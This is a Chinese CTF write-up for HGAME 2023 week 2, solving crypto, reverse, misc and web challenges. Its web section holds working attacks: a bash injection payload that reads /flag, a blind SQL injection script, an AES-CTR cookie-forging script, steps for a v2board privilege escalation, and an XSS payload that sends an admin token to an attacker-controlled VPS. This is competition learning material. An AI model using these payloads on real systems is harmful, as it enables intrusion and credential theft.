HGAME 2023 将于 1 月 5 日 20:00 正式开始,祝大家玩得开心 :-) 线上赛平台:https://hgame.vidar.club 请尽快注册,注册时请选择校外选手,注册将于 1 月 12 日 20:00 关闭 本次比赛的奖励事宜以及赛后沟通反馈以邮件为主,请各位使用真实的邮件地址 比赛奖金(针对校外榜): 第1名:1000Pwnhub金币 第2名:800Pwnhub金币 第3名:600Pwnhub金币 4-10名:300Pwnhub金币 补充说明:排行榜分数相同者,以先达到该分数的时间次序划定排名,每位获奖选手额外赠送 Pwnhub 邀请码一个 注意: * 所有选手均以个人为单位参赛; * 在解题过程中遇到瓶颈或困难可以私聊出题人 * 禁止所有破坏比赛公平公正的行为,如:散播或与其他人交换 Flag、解题思路,对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。 * HGAME 线上赛分为四周,每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论,但仅能讨论已结束的题目。 * 每周比赛结束后本周前20名需提交wp到指定邮箱 本比赛最终解释权归 Vidar-Team 所有
Rank: 8
Misc Tetris Master 你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris Master?
请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh ctf@week-2.hgame.lwsec.cn -p port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。
HINTS:
题目描述已更新,同时由于存在非预期,题目分数降至50,并上线100分的Revenge版本。
连接:ssh ctf@week-2.hgame.lwsec.cn -p 32150
按 Ctrl+C 强制结束拿到shell,cat flag
得flag:hgame{Bash_Game^Also*Can#Rce}
。
Tetris Master Revenge the same as Tetris Master
bash命令执行,参考ByteCTF 2022 - bash_game,在读入 target
值进入 paint_game_over()
内,比较时 [[]]
操作符会造成RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 paint_game_over () { local xcent=$((`tput lines`/2 )) ycent=$((`tput cols`/2 )) local x=$((xcent-4 )) y=$((ycent-25 )) for (( i = 0 ; i < 10 ; i++ )); do echo -ne "\033[$((x+i) );${y} H\033[44m${good_game[$i]} \033[0m" ; done if [[ "$master " -eq "y" ]] && [[ "$score " -gt 50000 ]]; then echo -ne "\033[$((x+3) );$((ycent+1) )H\033[44m`cat /flag`\033[0m" ; elif [[ "$master " -ne "y" ]] && [[ "$score " -gt "$target " ]]; then echo -ne "\033[$((x+3) );;$((ycent+1) )H\033[44mKeep Going\033[0m" else echo -ne "\033[$((x+3) );$((ycent+1) )H\033[44m${score} \033[0m" ; fi }
ssh连接,选择 n
,输入目标分数 r[$(cat /flag)]
,确认进入游戏,快速结束一局后在结果处以报错形式输出flag:hgame{Bash_Game^Also*Can#Rce^reVenge!!!!}
。
Sign In Pro Max 兔兔没有抢到回家的车票,一个猫猫头像的学长给了他一个候补车票抢票软件,但是这个软件的验证码太难了,你能帮他解一下吗? flag 英文字母为全小写,自行使用 hgame{}包裹后提交
五个部分:
Part1:base64+base58+base32,得到 f51d3a18
;
Part2:md5,得到 f91c
;
Part3:sha1,得到 4952
;
Part4:sha256,得到 a3ed
;
Part5:rot21,得到 Part5 is 0bc0ea61d21c, now put all the parts together, don't forget the format.
按UUID格式连接得flag: hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
。
crazy_qrcode 兔兔在买年货,但是看着商家的付款二维码犯了难
png图片的二维码无法扫描,使用QRazyBox 导入,利用自带工具 Brute-force Format Info Pattern 可以得到:
1 2 3 4 Decoded Message : QDjkXkpM0BHNXujs Error Correction Level : H Mask Pattern : 4
使用 QDjkXkpM0BHNXujs
解压zip压缩包,得到25张分割的二维码图片,以及一个25长度的数组。
1为90°旋转,2为180°旋转,3为270°旋转,0为不旋转,?为需选择其中一个值调整。
按照5×5拼接好后扫描得到flag:hgame{Cr42y_qrc0de}
。
Crypto Rabin 看起来非常像RSA呢。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 >from Crypto.Util.number import * def gen_key (kbits ): while True : p = getPrime(kbits) q = getPrime(kbits) if p % 4 == 3 and q % 4 == 3 : break return p, q p ,q = gen_key(256 ) flag = open ("flag" , 'rb' ).read() pt = bytes_to_long(flag) c = pow (pt, 2 , p*q) print (f"p={p} \nq={q} " ) print (f"c={hex (c)[2 :]} " ) """ p=65428327184555679690730137432886407240184329534772421373193521144693375074983 q=98570810268705084987524975482323456006480531917292601799256241458681800554123 c=4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556 """
$e=2$,Rabin算法解RSA。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import gmpy2def rabin_decrypt (c, p, q, e=2 ): n = p * q mp = pow (c, (p + 1 ) // 4 , p) mq = pow (c, (q + 1 ) // 4 , q) yp = gmpy2.invert(p, q) yq = gmpy2.invert(q, p) r = (yp * p * mq + yq * q * mp) % n rr = n - r s = (yp * p * mq - yq * q * mp) % n ss = n - s return (r, rr, s, ss) p = 65428327184555679690730137432886407240184329534772421373193521144693375074983 q = 98570810268705084987524975482323456006480531917292601799256241458681800554123 c = 0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556 m = rabin_decrypt(c,p,q) for i in range (4 ): try : print (bytes .fromhex(hex (m[i])[2 :])) except : pass
RSA 大冒险1 马上要过年喽,兔兔开心地去超市买年货,但是超市门口却写着”只有完成挑战才能进入超市”,你能帮帮兔兔吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *from challenges import chall1_secretclass RSAServe : def __init__ (self ) -> None : self.e = 65537 self.p = getPrime(128 ) self.q = getPrime(100 ) self.r = getPrime(100 ) self.m = chall1_secret def encrypt (self ): m_ = bytes_to_long(self.m) c = pow (m_, self.e, self.p*self.q*self.r) return hex (c) def check (self, msg ): return msg == self.m def pubkey (self ): return self.p*self.q*self.r, self.e, self.p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *from challenges import chall2_secretclass RSAServe : def __init__ (self ) -> None : self.p = getPrime(512 ) self.q = getPrime(512 ) self.e = 65537 self.m = chall2_secret def encrypt (self ): m_ = bytes_to_long(self.m) c = pow (m_ ,self.e, self.p*self.q) self.q = getPrime(512 ) return hex (c) def check (self, msg ): return msg == self.m def pubkey (self ): return self.p*self.q, self.e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *from challenges import chall3_secretclass RSAServe : def __init__ (self ) -> None : self.p = getPrime(512 ) self.q = getPrime(512 ) self.e = 3 self.m = chall3_secret def encrypt (self ): m_ = bytes_to_long(self.m) c = pow (m_, self.e, self.p*self.q) return hex (c) def check (self, msg ): return msg == self.m def pubkey (self ): return self.p*self.q, self.e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *from challenges import chall4_secretclass RSAServe : def __init__ (self ) -> None : self.p = getPrime(512 ) self.q = getPrime(512 ) self.e = getPrime(17 ) self.m = chall4_secret def encrypt (self ): m_ = bytes_to_long(self.m) c = pow (m_, self.e, self.p*self.q) self.e = getPrime(17 ) return hex (c) def check (self, msg ): return msg == self.m def pubkey (self ): return self.p*self.q, self.e
求解四层RSA拿flag。
第一层,$m<p$,无需完全分解 $n$。
1 2 3 4 5 6 7 8 n = 322341817140424854310546430443927118765748131714269745607168549026570389299661764844365062948036437 e = 65537 p = 304198953434620851532952216290120837853 c = 0x22ca52bc2ed70d7133a0916529d73ed1e91f36f6d7d7118d40de0cdae89c692d637a28727a4b90077d d = inverse_mod(e,p-1 ) m = int (pow (c%p,d,p)) print (bytes .fromhex(hex (m)[2 :]))
第二层,$\gcd(n1,n2)=p$,交互两次数据。
1 2 3 4 5 6 7 8 9 10 11 12 n1 = 85985649208163776168434106703299680942043569819886697084537149593016735251489437349033723731635167019919946528408991797589149306964593269240843489773393816361050438737217630268220265477449408440087731905143882172966401806119978492409284761350964437389319354732032636067387214869765942537900408255046554977317 c1 = 0x75124a122559d227bb846448b401877c86e7ac67dc5a1329622a6b54bbae91d3bc5a9afb859d86d90ac24cdd76cc7fa0763be082d9aa9f0c487d44f7a0725d6f195d6168837468c505f92dd1da29b618e3de01292a9592a1b2ce3d4dcdc4cad202c3c1fe190bb2469cf401b1a2fef29b8e487db908f30085e262ef84e6501118 n2 = 59612565629569243187927748458601473421039478282275869456898180179757129074951912462324655640636883153553671190318605493897644967308094259008273993958933708638671942944003571666749098289527528628582925016986696150709641914606485011406578947680624107267500302631283661241951979431008098395802457051450378936263 c2 = 0x23db0d9129161ba5318a43bf18db2ac276faa8e6f75b9a48250dbbc04de5b6a67764f8f8917f3f11e4b7308d7563f262500abcc59f0dc44bdc20d438e9ad424dbf7b7187b6cab4eeb5b32fdeb800e8dd6afcea3f97d97bac3be5a5fe9fbb06717dbf43f68cf0f91754e4f89e9a606b21c1467d3b8a7a0ed10e40f3bfb1e81a6a e = 65537 p = gcd(n1,n2) q1 = n1//p f = (p-1 )*(q1-1 ) d = inverse_mod(e,f) m = pow (c1,d,n1) print (bytes .fromhex(hex (m)[2 :]))
第三层,$e=3$,$m^e \lt n$,小 $e$ 攻击。
1 2 3 4 5 6 7 import gmpy2n = 62704397894391666479295080309251941192000653454396729807060395416391202444260383706554703418832720336900862424454646857290291688832249601582850489926515630514103107259941315796861595330414857499788329730467181727640390968106751789752583882632594974153970877867469382083206724358855594117005793286924964786309 e = 3 c = 0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748 m = gmpy2.iroot(c,e)[0 ] print (bytes .fromhex(hex (m)[2 :]))
第四层,共模攻击,交互两次数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import gmpy2 as gpdef egcd (a, b ): if a == 0 : return (b, 0 , 1 ) else : g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) n = 95910070679089754882020609736361209978330742771232029437332648538529286081128112666433856280432204891053831926879516053786710256434719058164494668021689267490579582989448124586518700994273232858281123929454653035358779110102882528619796861827968986375140987711988221162025924201304147782787221328299013679367 e1 = 81919 c1 = 0x1d884ae280842f2c9f26fd4ec97d3e4d8d58cbe2ec0420f2179451663b873989d9dac3d796f6be72c982f82cd96dc346620c7028e48d0059acaa0242b36646c82e08a3e327ca0e2ee5f5cba574ad02953f3302963cd75760ea6bb5d8bc955b0b3d1c4f885d20cb8bb2d720331cba9fb0fb6a433e2b1f1ac588cf820be4169add e2 = 108041 c2 = 0x69bd0266cd0c825ea1ac562385bb42be7040e1002e31f73c4139127577aa1d9d2a5cc05236bf03afb126202609e9fecc717bd229145bc7c5972a05476a8b66b8be1740f4f468ac24e9d8ed3ed5836a537aed77ad910bbb185a0421ed9faf97776e128058563ef0520e9fdf6ad47408da86ed02ab46761b962f8f34750c3791e1 s = egcd(e1, e2) s1 = s[1 ] s2 = s[2 ] if s1<0 : s1 = - s1 c1 = gp.invert(c1, n) elif s2<0 : s2 = - s2 c2 = gp.invert(c2, n) m = pow (c1,s1,n)*pow (c2,s2,n) % n print (bytes .fromhex(hex (m)[2 :]))
四次提交正确得flag:hgame{W0w_you^knowT^e_CoMm0n_&t$ack_@bout|RSA}
。
包里有什么 兔兔收到了一包年货,但是他忘了里面有什么了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from random import randintfrom libnum import gcd, s2nfrom secret import flagplain = flag[6 :-1 ] assert flag == 'hgame{' + plain + '}' v = bin (s2n(plain))[2 :] l = len (v) a = [2 << i for i in range (l)] m = randint(sum (a), 2 << l + 1 ) w = randint(0 , m) assert gcd(w, m) == 1 b = [w * i % m for i in a] c = 0 for i in range (l): c += b[i] * int (v[i]) print (f'm = {m} ' )print (f'b0 = {b[0 ]} ' )print (f'c = {c} ' )
先利用 $b_0$ 求 $w$,再解背包密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 m = 1528637222531038332958694965114330415773896571891017629493424 b0 = 69356606533325456520968776034730214585110536932989313137926 c = 93602062133487361151420753057739397161734651609786598765462162 w = b0//2 for k in range (3 ): l = m.nbits() - k a = [2 << i for i in range (l)] b = [w * i % m for i in a] pk = b ct = c n = len (pk) M = Matrix.identity(n) * 2 last_row = [1 for x in pk] M_last_row = Matrix(ZZ, 1 , len (last_row), last_row) last_col = pk last_col.append(ct) M_last_col = Matrix(ZZ, len (last_col), 1 , last_col) M = M.stack(M_last_row) M = M.augment(M_last_col) X = M.BKZ() sol = [] for i in range (n + 1 ): testrow = X.row(i).list ()[:-1 ] if set (testrow).issubset([-1 , 1 ]): for v in testrow: if v == 1 : sol.append(0 ) elif v == -1 : sol.append(1 ) break s = bytes .fromhex(hex (int ('' .join(map (str ,sol)),2 ))[2 :]) print (s)
零元购年货商店 听说兔兔要买年货,正好提瓦特大陆的璃月海灯节也要到了,tr0uble特地为兔兔准备了一份flag大礼。嗯,你也想要?不可以哦。
router/router.go
里主要逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 func loginController (c *gin.Context) { _, err := c.Cookie("token" ) if err == nil { c.Redirect(http.StatusFound, "/home" ) } userName := c.PostForm("username" ) if userName == "Vidar-Tu" { c.String(http.StatusForbidden, "兔兔才不可能是你呢!!" ) } User := user.User{Name: userName, Created: time.Now().Unix(), Uid: "230555433" } jsonUser, _ := json.Marshal(User) token, _ := util.Encrypt(string (jsonUser)) c.SetCookie("token" , token, 3600 , "/" , "" , false , true ) c.Redirect(http.StatusFound, "/home" ) } func buyController (c *gin.Context) { method := c.Request.Method token, err := c.Cookie("token" ) if err != nil { c.String(http.StatusForbidden, "没有身份的人可不能来这儿买东西。" ) } jsonUser, err := util.Decrypt(token) if err != nil { c.String(http.StatusBadGateway, err.Error()) } User := user.User{} err = json.Unmarshal([]byte (jsonUser), &User) if err != nil { c.String(http.StatusBadGateway, err.Error()) } name := User.Name if method != http.MethodGet { c.String(http.StatusMethodNotAllowed, fmt.Sprintf("your method: %s. but only get method allowed" , method)) } else { product := c.Query("prod" ) if product == "flag" { if name != "Vidar-Tu" { c.String(http.StatusOK, "flag 可是特地为兔兔准备的!" ) } else { file, _ := os.Open("flag.txt" ) flag, _ := io.ReadAll(file) c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully\n%s" , name, product, flag)) } } else { c.String(http.StatusOK, fmt.Sprintf("%s buy %s successfully" , name, product)) } } }
需要token里userName值为 Vidar-Tu
,但不能直接输入 Vidar-Tu
。
查看 util/util.go
里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package utilimport ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "errors" ) var key = make ([]byte , 16 )var iv = make ([]byte , 16 )func init () { _, _ = rand.Read(key) _, _ = rand.Read(iv) } func Encrypt (u string ) (string , error ) { block, err := aes.NewCipher(key) if err != nil { return "" , err } plainText := []byte (u) blockMode := cipher.NewCTR(block, iv) cipherText := make ([]byte , len (plainText)) blockMode.XORKeyStream(cipherText, plainText) return base64.StdEncoding.EncodeToString(cipherText), nil } func Decrypt (cipherText string ) (string , error ) { decodeData, err := base64.StdEncoding.DecodeString(cipherText) if err != nil { return "" , errors.New("invalid base64" ) } block, err := aes.NewCipher(key) blockMode := cipher.NewCTR(block, iv) plainText := make ([]byte , len (decodeData)) blockMode.XORKeyStream(plainText, decodeData) return string (plainText), nil }
token的使用AES-CTR模式加密生成,而在CTR模式中, 有一个自增的算子(IV,后四个字节相当于计数器,每次计算递增),这个算子用密钥加密之后的输出和明文异或的结果得到密文,相当于一次一密,即 $m \oplus \text{keystream} = c$。
用户名和token为一一对应关系,输入 Vidar-Tv
和 Vidar-Tw
获取对应token的base64字符串,找到改变的字符,爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport stringfrom urllib.parse import quotes = requests.Session() dic = string.ascii_letters+string.digits+'+/' for k in dic: token = f'NnL3arZc7tt+ezcky+B8fF{k} 75UtdWR6yUOD2rbYBBnIFPp1Rl/HXFxRPBwNeTzi2R2Wm5AVZQRwt+A==' url = 'http://week-2.hgame.lwsec.cn:30036/buy?prod=firecracker' r = s.get(url, cookies={'token' :quote(token)}) if 'Vidar-Tu' in r.text: print (k,quote(token),r.text)
修改cookie中的token,购买flag,得到flag:hgame{5o_Eas9_6yte_flip_@t7ack_wi4h_4ES-CTR}
。
Web Git Leakage 电视剧里的黑客?真正的黑客!
题目即提示,git泄露。
访问 http://HOST:PORT/.git/
,使用wget下载git目录:
wget -r http://week-2.hgame.lwsec.cn:31765/.git/
进入 .git/logs
,使用 git reflog
查看所有分支的所有操作记录(包括已经被删除的 commit 记录和 reset 的操作);
选择需要查看的记录,git show 1dd69e2
拿到flag:hgame{Don't^put*Git-in_web_directory}
。
v2board 请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。
v2board存在越权漏洞,参考v2board越权漏洞复现 。
首先注册一个普通用户账号,然后通过 http://HOST:PORT/api/v1/passport/auth/login
接口登录该账号,会返回一个 auth_data
值;
然后访问 http://HOST:PORT/api/v1/user/login
接口,并将上述获得的 auth_data
作为authorization头发送,让服务器将普通用户的Authorization头写入缓存中;
最后只要带上这个Authorization头即可访问所有的管理员接口。
访问 http://HOST:PORT/api/v1/admin/user/fetch?pageSize=10¤t=1
,得到flag:hgame{39d580e71705f6abac9a414def74c466}
。
Search Commodity R1esbyfe给兔兔写了一个简易的查询面板,只需要输入id数字,就可以查到兔兔最近买的东西(包括年货)
R1esbyfe:”面板登陆用户名是user01,密码……忘了,反正是个比较好猜的密码”
貌似R1esbyfe还藏了点惊喜,你能帮助兔兔找到它吗?
(数据库启动需要时间,若出现Internal Error,需要稍等片刻)
HINTS:
密码是弱密码,可以自己找个dict爆破一下
根据hint猜密码 admin123
,sql注入,fuzz发现过滤了空格、select、database、or、等号、大小于号等关键字。关键字改大写,等号改 regexp
绕过。
布尔盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport stringdic = string.digits+string.ascii_letters+'{}-_?!,' s = requests.Session() url = 'http://week-2.hgame.lwsec.cn:30685/search' now = '' for i in range (1 ,100 ): flag = 0 for j in dic: sql = 'SELECT(hex(f14gggg1shere))FROM(se4rch.5ecret15here)' payload = f"0^(substr(({sql} ),{i} ,1)regexp('{j} '))" data = {'search_id' :payload} cookie = {'SESSION' :'MTY3MzYyOTg3OXxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18Znqyk--boNReiPrlLxxyJ0FrSzzwttTHP8L2NJy6KFg=' } r = s.post(url,data=data,cookies=cookie) if 'hard disk' in r.text: now += j print (now) flag = 1 break if flag == 0 : break
得到flag:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
。
Designer Come and design your button
在 index.js
中 /button/share
路由会调用 /button/preview
路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 app.post ("/button/share" , auth, async (req, res) => { const browser = await puppeteer.launch ({ headless : true , executablePath : "/usr/bin/chromium" , args : ['--no-sandbox' ] }); const page = await browser.newPage () const query = querystring.encode (req.body ) await page.goto ('http://127.0.0.1:9090/button/preview?' + query) await page.evaluate(() => { return localStorage .setItem ("token" , "jwt_token_here" ) }) await page.click ("#button" ) res.json ({ msg : "admin will see it later" }) }) app.get ("/button/preview" , (req, res ) => { const blacklist = [ /on/i , /localStorage/i , /alert/ , /fetch/ , /XMLHttpRequest/ , /window/ , /location/ , /document/ ] for (const key in req.query ) { for (const item of blacklist) { if (item.test (key.trim ()) || item.test (req.query [key].trim ())) { req.query [key] = "" } } } res.render ("preview" , { data : req.query }) })
测试发现 /button/preview
路由存在XSS注入,尝试XSS请求伪造:
1 2 3 4 5 6 7 8 var xhr=new XMLHttpRequest ();xhr.open ("POST" ,"http://127.0.0.1:9090/user/register" ,false ); xhr.setRequestHeader ("Content-Type" ,"application/x-www-form-urlencoded" ); xhr.send (JSON .stringify ({"username" :"admin" })); url="http://VPS-IP/x.php?token=" +String (xhr.responseText ); var xhr2=new XMLHttpRequest ();xhr2.open ("GET" ,url,false ); xhr2.send ("token" );
admin点击后,生成正确token,发送到VPS的apache日志中:
1 [16/Jan/2023:01:01:39 +0800] "GET /x.php?token={%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiaGdhbWV7Yl9jNHJlX2FiMHV0X3Byb3AzcnQxdHlfaW5qRWN0aU9ufSIsImlhdCI6MTY3MzgwMjA5OX0.pthLzDWpdJf3vb1pEBZbAknqfCq90xpL4ntnE3wpKdY%22} HTTP/1.1" 200 416 "http://127.0.0.1:9090/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.74 Safari/537.36"
解析jwt,得到flag:hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}
。
Reverse before_main 在 sub_558AEC339229()
中使用 ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL)
机制将base64码表修改:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 sub_558AEC339229 () { __int64 result; result = ptrace(PTRACE_TRACEME, 0LL , 0LL , 0LL ); if ( result != -1 ) { strcpy ((char *)&qword_558AEC33C020, "qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK" ); return 0x636D79474568756A LL; } return result; }
再解码即可,flag:hgame{s0meth1ng_run_befOre_m@in}
。
stream 兔兔假期前学习了编程,你能看出来他学的是什么语言吗
python程序逆向,使用pyinstxtractor将exe解包得到 stream.pyc
文件,再用uncompyle6反编译,得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import base64def gen (key ):Warning: block stack is not empty! s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + ord (key[i % len (key)])) % 256 tmp = s[i] s[i] = s[j] s[j] = tmp i = j = 0 data = [] for _ in range (50 ): i = (i + 1 ) % 256 j = (j + s[i]) % 256 tmp = s[i] s[i] = s[j] s[j] = tmp data.append(s[(s[i] + s[j]) % 256 ]) return data def encrypt (text, key ):Warning: block stack is not empty! result = '' for c, k in zip (text, gen(key)): result += chr (ord (c) ^ k) result = base64.b64encode(result.encode()).decode() return result text = input ('Flag: ' ) key = 'As_we_do_as_you_know' enc = encrypt(text, key) if enc == 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl' : print ('yes!' ) return None None ('try again...' )
识别为RC4加密算法,cyberchef解出flag:hgame{python_reverse_is_easy_with_internet}
。
math 由于兔兔的学校提前放假,开学才能期末考试,于是兔兔开始了他的寒假期末复习~
实际为解非齐次线性方程组,矩阵乘法逆运算,这里使用z3求解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from z3 import *x = [126 , 225 , 62 , 40 , 216 , 253 , 20 , 124 , 232 , 122 , 62 , 23 , 100 , 161 , 36 , 118 , 21 , 184 , 26 , 142 , 59 , 31 , 186 , 82 , 79 ] out = [0 ] * len (x) c = [63998 , 33111 , 67762 , 54789 , 61979 , 69619 , 37190 , 70162 , 53110 , 68678 , 63339 , 30687 , 66494 , 50936 , 60810 , 48784 , 30188 , 60104 , 44599 , 52265 , 43048 , 23660 , 43850 , 33646 , 44270 ] s = Solver() f = [Int(f'f{i} ' ) for i in range (25 )] ff = f[:] for i in range (5 ): for j in range (5 ): tmp = 0 for k in range (5 ): out[5 *i+j] += ff[5 *i+k] * x[5 *k+j] s.add(out[5 *i+j] == c[5 *i+j]) s.check() m = s.model() flag = '' for i in range (25 ): flag += chr (m[f[i]].as_long()) print (flag)
VidarCamera 兔兔最近在学习Android开发,这是他抄的相机程序
apk内关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 private final int [] m229encrypthkIa6DI(int [] iArr) { int i; int [] m446constructorimpl = UIntArray.m446constructorimpl(4 ); UIntArray.m457setVXSXFK8(m446constructorimpl, 0 , 2233 ); UIntArray.m457setVXSXFK8(m446constructorimpl, 1 , 4455 ); UIntArray.m457setVXSXFK8(m446constructorimpl, 2 , 6677 ); UIntArray.m457setVXSXFK8(m446constructorimpl, 3 , 8899 ); int i2 = 0 ; while (i2 < 9 ) { int i3 = 0 ; int i4 = 0 ; do { i3++; i = i2 + 1 ; UIntArray.m457setVXSXFK8(iArr, i2, UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i2) + UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(m446constructorimpl, UInt.m393constructorimpl(i4 & 3 )) + i4) ^ UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i) << 4 ) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i) >>> 5 )) + UIntArray.m452getpVg5ArA(iArr, i))) ^ i4))); UIntArray.m457setVXSXFK8(iArr, i, UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i) + UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i2) << 4 ) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(iArr, i2) >>> 5 )) + UIntArray.m452getpVg5ArA(iArr, i2)) ^ UInt.m393constructorimpl(UIntArray.m452getpVg5ArA(m446constructorimpl, UInt.m393constructorimpl(UInt.m393constructorimpl(i4 >>> 11 ) & 3 )) + i4)))); i4 = UInt.m393constructorimpl(i4 + 878077251 ); } while (i3 <= 32 ); i2 = i; } return iArr; } public static final void m230onCreate$lambda0(EditText inputsomething, CameraActivity this $0 , AlertDialog alertDialog, View view) { Intrinsics.checkNotNullParameter(inputsomething, "$inputsomething" ); Intrinsics.checkNotNullParameter(this $0 , "this$0" ); String obj = inputsomething.getText().toString(); if (obj.length() != 40 ) { Toast.makeText(this $0 , "序列号不正确" , 0 ).show(); return ; } int [] m446constructorimpl = UIntArray.m446constructorimpl(10 ); for (int i = 0 ; i < 40 ; i += 4 ) { UIntArray.m457setVXSXFK8(m446constructorimpl, i / 4 , UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(UInt.m393constructorimpl(obj.charAt(i)) + UInt.m393constructorimpl(obj.charAt(i + 1 ) << '\b' )) + UInt.m393constructorimpl(obj.charAt(i + 2 ) << 16 )) + UInt.m393constructorimpl(obj.charAt(i + 3 ) << 24 ))); } int [] m229encrypthkIa6DI = this $0. m229encrypthkIa6DI(m446constructorimpl); UInt[] uIntArr = {UInt.m387boximpl(637666042 ), UInt.m387boximpl(457511012 ), UInt.m387boximpl(-2038734351 ), UInt.m387boximpl(578827205 ), UInt.m387boximpl(-245529892 ), UInt.m387boximpl(-1652281167 ), UInt.m387boximpl(435335655 ), UInt.m387boximpl(733644188 ), UInt.m387boximpl(705177885 ), UInt.m387boximpl(-596608744 )}; int i2 = 0 ; while (true ) { int i3 = i2 + 1 ; if (uIntArr[i2].m444unboximpl() != UIntArray.m452getpVg5ArA(m229encrypthkIa6DI, i2)) { Toast.makeText(this $0 , "序列号不正确" , 0 ).show(); return ; } else if (i3 > 9 ) { alertDialog.dismiss(); return ; } else { i2 = i3; } } }
魔改XTEA加密,修改了delta、异或操作和加密顺次,解密脚本在相应地方修改:
